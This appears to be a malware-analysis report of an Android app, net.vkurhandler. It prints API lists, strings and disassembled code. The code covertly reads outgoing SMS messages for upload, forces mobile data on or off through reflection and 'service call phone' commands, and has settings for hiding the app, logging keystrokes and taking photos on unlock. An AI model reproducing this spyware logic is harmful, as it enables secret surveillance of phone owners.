                    • java.lang.Class.getDeclaredMethod
                    • java.lang.reflect.Method.setAccessible
                    • java.lang.reflect.Method.invoke
                    • java.lang.Boolean.valueOf
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
                    • java.lang.Class.getDeclaredField
                    • java.lang.reflect.Field.setAccessible
                    • java.lang.reflect.Field.get
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.Class.forName
                    • java.lang.Boolean.TYPE:Ljava/lang/Class
                    • java.lang.Class.getDeclaredMethod
                    • java.lang.reflect.Method.setAccessible
                    • java.lang.Boolean.valueOf
                    • java.lang.reflect.Method.invoke
                    • java.lang.Boolean.valueOf
                    • android.content.Context.getSystemService
                    • android.telephony.SubscriptionManager.getActiveSubscriptionInfoCountMax
                    • java.lang.Class.getDeclaredMethod
                    • java.lang.String.length
                    • android.telephony.SubscriptionManager.getActiveSubscriptionInfoList
                    • java.util.List.get
                    • android.telephony.SubscriptionInfo.getSubscriptionId
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.length
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.Boolean.valueOf
                    • java.lang.Boolean.valueOf
                    Strings
                    • getITelephony
                    • enableDataConnectivity
                    • mService
                    • setMobileDataEnabled
                    • telephony_subscription_service
                    • disableDataConnectivity
                    • service call phone
                    • i32
                    • Mobile
                    Position Instruction Meta Information
                    0.annotation build Landroid/annotation/SuppressLint;
                    1value = {
                    2"NewApi"
                    3}
                    4.end annotation
                    5const/16 v7, 0x8
                    6const/16 v9, 0x15
                    7const/4 v0, 0x1
                    8const/4 v3, 0x0
                    9sget v4, Landroid/os/Build$VERSION;->SDK_INT:I
                    11invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    12move-result-object v2
                    13if-ne v4, v7, :cond_58
                    14try_start_e:
                    15iget-object v1, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    17invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    18move-result-object v1
                    20invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    21move-result-object v1
                    23invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    24move-result-object v1
                    26const-string v2, "getITelephony"
                    27const/4 v5, 0x0
                    28new-array v5, v5, [Ljava/lang/Class;
                    30invoke-virtual {v1, v2, v5}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    31move-result-object v1
                    32const/4 v2, 0x1
                    34invoke-virtual {v1, v2}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                    36iget-object v2, p0, Lnet/vkurhandler/Mobile;->a:Landroid/telephony/TelephonyManager;
                    37const/4 v5, 0x0
                    38new-array v5, v5, [Ljava/lang/Object;
                    40invoke-virtual {v1, v2, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    41move-result-object v2
                    43invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    44move-result-object v1
                    46invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    47move-result-object v1
                    49invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    50move-result-object v1
                    51if-eqz p1, :cond_d8
                    53const-string v5, "enableDataConnectivity"
                    54const/4 v6, 0x0
                    55new-array v6, v6, [Ljava/lang/Class;
                    57invoke-virtual {v1, v5, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    58move-result-object v1
                    59goto_49: const/4 v5, 0x1
                    61invoke-virtual {v1, v5}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                    62const/4 v5, 0x0
                    63new-array v5, v5, [Ljava/lang/Object;
                    65invoke-virtual {v1, v2, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    66const/4 v1, 0x1
                    68invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    69move-result-object v2
                    70cond_58: if-le v4, v7, :cond_aa
                    71if-ge v4, v9, :cond_aa
                    73iget-object v1, p0, Lnet/vkurhandler/Mobile;->f:Landroid/net/ConnectivityManager;
                    75invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    76move-result-object v1
                    78invoke-virtual {v1}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    79move-result-object v1
                    81invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    82move-result-object v1
                    84const-string v2, "mService"
                    86invoke-virtual {v1, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                    87move-result-object v1
                    88const/4 v2, 0x1
                    90invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->setAccessible(Z)V
                    92iget-object v2, p0, Lnet/vkurhandler/Mobile;->f:Landroid/net/ConnectivityManager;
                    94invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    95move-result-object v1
                    97invoke-virtual {v1}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    98move-result-object v2
                    100invoke-virtual {v2}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    101move-result-object v2
                    103invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                    104move-result-object v2
                    106const-string v5, "setMobileDataEnabled"
                    107const/4 v6, 0x1
                    108new-array v6, v6, [Ljava/lang/Class;
                    109const/4 v7, 0x0
                    111sget-object v8, Ljava/lang/Boolean;->TYPE:Ljava/lang/Class;
                    112aput-object v8, v6, v7
                    114invoke-virtual {v2, v5, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    115move-result-object v2
                    116const/4 v5, 0x1
                    118invoke-virtual {v2, v5}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                    119const/4 v5, 0x1
                    120new-array v5, v5, [Ljava/lang/Object;
                    121const/4 v6, 0x0
                    123invoke-static {p1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    124move-result-object v7
                    125aput-object v7, v5, v6
                    127invoke-virtual {v2, v1, v5}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                    128const/4 v1, 0x1
                    130invoke-static {v1}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    131move-result-object v2
                    132cond_aa: if-lt v4, v9, :cond_179
                    134invoke-static {}, Lnet/vkurhandler/ec;->b()Z
                    135try_end_af: move-result v1
                    136if-eqz v1, :cond_179
                    137try_start_b2:
                    138iget-object v1, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    140invoke-static {v1}, Lnet/vkurhandler/Mobile;->b(Landroid/content/Context;)Z
                    141move-result v1
                    142if-eqz v1, :cond_e3
                    143move v5, v3
                    144goto_bb:
                    145iget-object v1, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    147invoke-static {v1}, Lnet/vkurhandler/Mobile;->a(Landroid/content/Context;)Ljava/lang/String;
                    148move-result-object v6
                    149sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                    150if-le v1, v9, :cond_12b
                    152iget-object v0, p0, Lnet/vkurhandler/Mobile;->g:Landroid/content/Context;
                    154const-string v1, "telephony_subscription_service"
                    156invoke-virtual {v0, v1}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                    157move-result-object v0
                    158check-cast v0, Landroid/telephony/SubscriptionManager;
                    159move v4, v3
                    160goto_d0:
                    161invoke-virtual {v0}, Landroid/telephony/SubscriptionManager;->getActiveSubscriptionInfoCountMax()I
                    162try_end_d3: move-result v1
                    163if-lt v4, v1, :cond_e5
                    164move-object v0, v2
                    165goto_d7: return-object v0
                    166cond_d8:
                    167const-string v5, "disableDataConnectivity"
                    168const/4 v6, 0x0
                    169new-array v6, v6, [Ljava/lang/Class;
                    171invoke-virtual {v1, v5, v6}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                    172try_end_e0: move-result-object v1
                    173goto/16 :goto_49
                    174cond_e3: move v5, v0
                    175goto/16 :goto_bb
                    176cond_e5: if-eqz v6, :cond_127
                    177try_start_e7:
                    178invoke-virtual {v6}, Ljava/lang/String;->length()I
                    179move-result v1
                    180if-lez v1, :cond_127
                    182invoke-virtual {v0}, Landroid/telephony/SubscriptionManager;->getActiveSubscriptionInfoList()Ljava/util/List;
                    183move-result-object v1
                    185invoke-interface {v1, v4}, Ljava/util/List;->get(I)Ljava/lang/Object;
                    186move-result-object v1
                    187check-cast v1, Landroid/telephony/SubscriptionInfo;
                    189invoke-virtual {v1}, Landroid/telephony/SubscriptionInfo;->getSubscriptionId()I
                    190move-result v1
                    191new-instance v7, Ljava/lang/StringBuilder;
                    193const-string v8, "service call phone "
                    195invoke-direct {v7, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    197invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    198move-result-object v7
                    200const-string v8, " i32 "
                    202invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    203move-result-object v7
                    205invoke-virtual {v7, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    206move-result-object v1
                    208const-string v7, " i32 "
                    210invoke-virtual {v1, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    211move-result-object v1
                    213invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    214move-result-object v1
                    216invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    217move-result-object v1
                    218const/4 v7, 0x1
                    219new-array v7, v7, [Ljava/lang/String;
                    220const/4 v8, 0x0
                    221aput-object v1, v7, v8
                    223invoke-static {v7}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    224cond_127: add-int/lit8 v1, v4, 0x1
                    225move v4, v1
                    226goto/16 :goto_d0
                    227cond_12b: sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
                    228if-ne v1, v9, :cond_179
                    229if-eqz v6, :cond_179
                    231invoke-virtual {v6}, Ljava/lang/String;->length()I
                    232move-result v1
                    233if-lez v1, :cond_179
                    234if-eqz p1, :cond_162
                    235goto_139: new-instance v1, Ljava/lang/StringBuilder;
                    237const-string v4, "service call phone "
                    239invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    241invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    242move-result-object v1
                    244const-string v4, " i32 "
                    246invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    247move-result-object v1
                    249invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    250move-result-object v0
                    252invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    253move-result-object v0
                    254const/4 v1, 0x1
                    255new-array v1, v1, [Ljava/lang/String;
                    256const/4 v4, 0x0
                    257aput-object v0, v1, v4
                    259invoke-static {v1}, Lnet/vkurhandler/ec;->a([Ljava/lang/String;)V
                    260const/4 v0, 0x1
                    262invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    263try_end_15f: move-result-object v0
                    264goto/16 :goto_d7
                    265cond_162: move v0, v3
                    266goto/16 :goto_139
                    267catch_164: move-exception v0
                    268try_start_165:
                    269const-string v1, "Mobile"
                    271invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    272try_end_16a: move-object v0, v2
                    273goto/16 :goto_d7
                    274catch_16d: move-exception v0
                    276const-string v1, "Mobile"
                    278invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    280invoke-static {v3}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                    281move-result-object v0
                    282goto/16 :goto_d7
                    283cond_179: move-object v0, v2
                    284goto/16 :goto_d7
                    APIs
                    • android.database.ContentObserver.onChange
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getInt
                    • android.content.SharedPreferences.getLong
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • android.content.Context.getContentResolver
                    • net.vkurhandler.fz.a:Landroid/net/Uri
                    • net.vkurhandler.fz.d:[Ljava/lang/String
                    • android.content.ContentResolver.query
                    • android.database.Cursor.moveToNext
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getInt
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getLong
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.commit
                    • android.content.SharedPreferences.getBoolean
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getString
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getString
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.w
                    • net.vkurhandler.fz.b:Landroid/content/Context
                    • android.database.Cursor.close
                    • java.lang.Exception.printStackTrace
                    • net.vkurhandler.fz.c:Ljava/lang/String
                    • android.database.Cursor.close
                    • java.lang.Exception.printStackTrace
                    • android.database.Cursor.close
                    • java.lang.Exception.printStackTrace
                    • java.lang.Exception.printStackTrace
                    Strings
                    • last_save_out_sms_id
                    • last_save_out_sms_date
                    • type = 2 AND _id !=
                    • AND date >
                    • date DESC LIMIT 1
                    • _id
                    • date
                    • transmit_sms
                    • body
                    • address
                    • type
                    • sub_type
                    • sms_type
                    • phone_number
                    • name
                    • message
                    • bat_level
                    • charger
                    Position Instruction Meta Information
                    0const/4 v6, 0x0
                    2invoke-super {p0, p1}, Landroid/database/ContentObserver;->onChange(Z)V
                    3try_start_4:
                    4iget-object v0, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    6invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    7move-result-object v0
                    9invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    10move-result-object v7
                    12const-string v0, "last_save_out_sms_id"
                    13const/4 v1, 0x0
                    15invoke-interface {v7, v0, v1}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    16move-result v0
                    18const-string v1, "last_save_out_sms_date"
                    19const-wide/16 v2, 0x0
                    21invoke-interface {v7, v1, v2, v3}, Landroid/content/SharedPreferences;->getLong(Ljava/lang/String;J)J
                    22move-result-wide v2
                    23new-instance v1, Ljava/lang/StringBuilder;
                    25const-string v4, "type = 2 AND _id != "
                    27invoke-direct {v1, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    29invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    30move-result-object v0
                    32const-string v1, " AND date > "
                    34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    35move-result-object v0
                    37invoke-virtual {v0, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    38move-result-object v0
                    40invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    41move-result-object v3
                    43iget-object v0, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    45invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    46move-result-object v0
                    48sget-object v1, Lnet/vkurhandler/fz;->a:Landroid/net/Uri;
                    50sget-object v2, Lnet/vkurhandler/fz;->d:[Ljava/lang/String;
                    51const/4 v4, 0x0
                    53const-string v5, "date DESC LIMIT 1"
                    55invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    56try_end_46: move-result-object v1
                    57try_start_47:
                    58invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z
                    59move-result v0
                    60if-eqz v0, :cond_fb
                    62const-string v0, "_id"
                    64invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    65move-result v0
                    67invoke-interface {v1, v0}, Landroid/database/Cursor;->getInt(I)I
                    68move-result v0
                    70const-string v2, "date"
                    72invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    73move-result v2
                    75invoke-interface {v1, v2}, Landroid/database/Cursor;->getLong(I)J
                    76move-result-wide v2
                    78invoke-interface {v7}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    79move-result-object v4
                    81const-string v5, "last_save_out_sms_id"
                    83invoke-interface {v4, v5, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    84move-result-object v0
                    86invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    88invoke-interface {v7}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    89move-result-object v0
                    91const-string v4, "last_save_out_sms_date"
                    93invoke-interface {v0, v4, v2, v3}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    94move-result-object v0
                    96invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    98const-string v0, "transmit_sms"
                    99const/4 v2, 0x0
                    101invoke-interface {v7, v0, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    102move-result v0
                    103if-eqz v0, :cond_fb
                    105const-string v0, "body"
                    107invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    108move-result v0
                    110invoke-interface {v1, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    111move-result-object v0
                    113const-string v2, "address"
                    115invoke-interface {v1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    116move-result v2
                    118invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    119move-result-object v2
                    121invoke-static {v2}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    122move-result-object v2
                    124invoke-static {}, Lnet/vkurhandler/be;->a()Lnet/vkurhandler/be;
                    125move-result-object v3
                    127const-string v4, "type"
                    128const/4 v5, 0x1
                    130invoke-virtual {v3, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    132const-string v4, "sub_type"
                    133const/4 v5, 0x2
                    135invoke-virtual {v3, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    137const-string v4, "sms_type"
                    138const/4 v5, 0x2
                    140invoke-virtual {v3, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    142const-string v4, "date"
                    144invoke-static {}, Lnet/vkurhandler/gn;->e()Ljava/lang/String;
                    145move-result-object v5
                    147invoke-virtual {v3, v4, v5}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    149const-string v4, "phone_number"
                    151invoke-virtual {v3, v4, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    153const-string v4, "name"
                    155iget-object v5, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    157invoke-static {v5, v2}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    158move-result-object v2
                    160invoke-virtual {v3, v4, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    162const-string v2, "message"
                    164invoke-virtual {v3, v2, v0}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    166const-string v0, "bat_level"
                    168iget-object v2, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    170invoke-static {v2}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    171move-result-object v2
                    173invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    174move-result-object v2
                    176invoke-virtual {v2}, Lnet/vkurhandler/ce;->a()I
                    177move-result v2
                    179invoke-virtual {v3, v0, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;I)V
                    181const-string v0, "charger"
                    183iget-object v2, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    185invoke-static {v2}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    186move-result-object v2
                    188invoke-virtual {v2}, Lnet/vkurhandler/MyApp;->w()Lnet/vkurhandler/ce;
                    189move-result-object v2
                    191invoke-virtual {v2}, Lnet/vkurhandler/ce;->b()Z
                    192move-result v2
                    194invoke-virtual {v3, v0, v2}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Z)V
                    196iget-object v0, p0, Lnet/vkurhandler/fz;->b:Landroid/content/Context;
                    198invoke-static {v0, v3}, Lnet/vkurhandler/bf;->b(Landroid/content/Context;Lnet/vkurhandler/be;)V
                    199cond_fb: if-eqz v1, :cond_100
                    200try_start_fd:
                    201invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    202try_end_100: return-void
                    203catch_101: move-exception v0
                    204move-object v1, v6
                    205goto_103:
                    206invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                    208sget-object v2, Lnet/vkurhandler/fz;->c:Ljava/lang/String;
                    210invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    211try_end_10b: if-eqz v1, :cond_100
                    212try_start_10d:
                    213invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    214try_end_110: goto/16 :goto_100
                    215catch_111: move-exception v0
                    217invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                    218goto/16 :goto_100
                    219catchall_116: move-exception v0
                    220move-object v1, v6
                    221goto_118: if-eqz v1, :cond_11d
                    222try_start_11a:
                    223invoke-interface {v1}, Landroid/database/Cursor;->close()V
                    224cond_11d: throw v0
                    225catch_11e: move-exception v1
                    227invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                    228goto/16 :goto_11d
                    229catch_123: move-exception v0
                    231invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                    232goto/16 :goto_100
                    233catchall_128: move-exception v0
                    234goto/16 :goto_118
                    235catch_12a: move-exception v0
                    236goto/16 :goto_103
                    Cross References
                    APIs
                    • net.vkurhandler.SettingsActivity.c:Lnet/vkurhandler/bg
                    • net.vkurhandler.SettingsActivity.c:Lnet/vkurhandler/bg
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • java.lang.String.split
                    • net.vkurhandler.SettingsActivity.aa:Landroid/widget/EditText
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.n:Landroid/widget/Spinner
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.getApplicationContext
                    • android.widget.ArrayAdapter.<init>
                    • net.vkurhandler.SettingsActivity.ay:Landroid/widget/ArrayAdapter
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.ArrayAdapter.add
                    • net.vkurhandler.SettingsActivity.ay:Landroid/widget/ArrayAdapter
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.ArrayAdapter.add
                    • net.vkurhandler.SettingsActivity.ay:Landroid/widget/ArrayAdapter
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.ArrayAdapter.add
                    • net.vkurhandler.SettingsActivity.ay:Landroid/widget/ArrayAdapter
                    • android.widget.ArrayAdapter.setDropDownViewResource
                    • net.vkurhandler.SettingsActivity.m:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.ay:Landroid/widget/ArrayAdapter
                    • android.widget.Spinner.setAdapter
                    • net.vkurhandler.SettingsActivity.m:Landroid/widget/Spinner
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.Z:Landroid/widget/EditText
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • java.lang.String.valueOf
                    • android.widget.EditText.setText
                    • net.vkurhandler.SettingsActivity.f:Landroid/app/admin/DevicePolicyManager
                    • net.vkurhandler.SettingsActivity.e:Landroid/content/ComponentName
                    • android.app.admin.DevicePolicyManager.isAdminActive
                    • net.vkurhandler.SettingsActivity.M:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • net.vkurhandler.SettingsActivity.getString
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • net.vkurhandler.SettingsActivity.getPackageName
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.SettingsActivity.setTitle
                    • net.vkurhandler.SettingsActivity.ax:Landroid/widget/ArrayAdapter
                    • net.vkurhandler.SettingsActivity.c:Lnet/vkurhandler/bg
                    • android.widget.ArrayAdapter.add
                    • net.vkurhandler.SettingsActivity.ax:Landroid/widget/ArrayAdapter
                    • net.vkurhandler.SettingsActivity.c:Lnet/vkurhandler/bg
                    • android.widget.ArrayAdapter.add
                    • net.vkurhandler.SettingsActivity.h:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.j:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.SettingsActivity.c
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.i:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.SettingsActivity.d
                    • android.widget.Spinner.setSelection
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.SettingsActivity.Q:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • net.vkurhandler.SettingsActivity.M:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    • net.vkurhandler.SettingsActivity.Q:Landroid/widget/Button
                    • net.vkurhandler.SettingsActivity.getString
                    • android.widget.Button.setText
                    Strings
                    • make_photo_unlock_config
                    • 0,0,0
                    • ,
                    • key_intercept_min_pressed_keys
                    • language
                    • interval_send
                    • change_sim_isend
                    • hide_app
                    Position Instruction Meta Information
                    0const/4 v6, 0x1
                    1const/4 v0, 0x0
                    3iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    5invoke-virtual {v1}, Lnet/vkurhandler/bg;->a()I
                    6move-result v1
                    7if-eq p1, v1, :cond_16
                    9iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    11invoke-virtual {v1}, Lnet/vkurhandler/bg;->b()V
                    12new-instance v1, Lnet/vkurhandler/bg;
                    14invoke-direct {v1, p1}, Lnet/vkurhandler/bg;-><init>(I)V
                    15iput-object v1, p0, Lnet/vkurhandler/SettingsActivity;->c:Lnet/vkurhandler/bg;
                    16cond_16:
                    17iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    19const-string v2, "make_photo_unlock_config"
                    21const-string v3, "0,0,0"
                    23invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    24move-result-object v1
                    26const-string v2, ","
